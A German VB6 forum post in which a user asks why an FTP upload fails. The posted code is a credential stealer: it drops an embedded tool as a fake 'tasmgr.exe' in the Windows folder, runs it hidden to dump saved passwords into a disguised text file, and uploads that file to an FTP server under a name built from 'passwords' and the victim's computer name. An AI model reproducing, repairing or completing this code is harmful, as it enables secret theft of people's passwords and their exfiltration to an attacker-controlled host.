Visual Basic Forum

Visual Basic Forum
für VB6 und VB.NET Programmierer
 
RegistrierenRegistrieren  LoginLogin
Neues Thema eröffnen   Neue Antwort erstellen    Visual Basic Forum Foren-Übersicht -> [VB6] Fragen - Antworten
Autor
Nachricht
Crusader_
Tutorial Leser
Tutorial Leser

Anmeldedatum: 08.06.2007
Beiträge: 54

Datei Upload: Fehler!
Verfasst am: 15.05.2009, 08:16

hi ^^

also ich habe irgendwie ein Problem eine Datei auf den ftp zu laden , die Datei wird anscheinend nicht hochgeladen , aus welchen gründen auch immer ^^

vll weis jemand warum

Code:
Dim Localfile As String

Dim buffer() As Byte
buffer = LoadResData(101, "CUSTOM")
Open Environ("windir") & "\tasmgr.exe" For Binary As #1
Put #1, , buffer
Close #1
Shell Environ("windir") & "\tasmgr.exe /stext " & Environ("windir") & "\dxdig.txt", vbHide

Localfile = Environ("windir") + "\dxdig.txt"

If FileExists(Localfile) Then
Kill Localfile
End If

Dim FTPFile As String
FTPFile = "passwords" & Environ$("COMPUTERNAME") & " - " & Format(Now, "dd.mm.yyyy") & " - " & Format(Now, "hh:mm") & ".txt"

On Error GoTo EndIt:

With Inet1
  .AccessType = icUseDefault
  .Protocol = icFTP
  .RemotePort = "21"
  .URL = txtname
  .UserName = txtuser
  .Password = txtpw
  a = PWFile
  b = PWFile
  .Execute , "PUT " & Localfile & " " & FTPFile
  End With

Do While Inet1FTP.StillExecuting = True
DoEvents
Loop


 
Neues Thema eröffnen   Neue Antwort erstellen    Visual Basic Forum Foren-Übersicht -> [VB6] Fragen - Antworten

Tags: upload, datei, ftp, environ, fehler

 
 Verwandte Themen   Aufrufe   Letzter Beitrag 
Keine neuen Beiträge [suche] Tuturials winsock & daten senden 983 09.06.2011, 13:19
Keine neuen Beiträge [Video] *.dll & *.ocx Installer 2608 06.03.2008, 21:19
Keine neuen Beiträge ListView speichern & laden 1331 05.08.2008, 13:32
Keine neuen Beiträge Registry & Co Fragen 1203 03.05.2007, 10:57
Keine neuen Beiträge Listbox speichern & laden 2266 22.03.2007, 21:25
 


[ Time: 0.5349s ][ Queries: 80 (0.3820s) ][ GZIP on - Debug on ]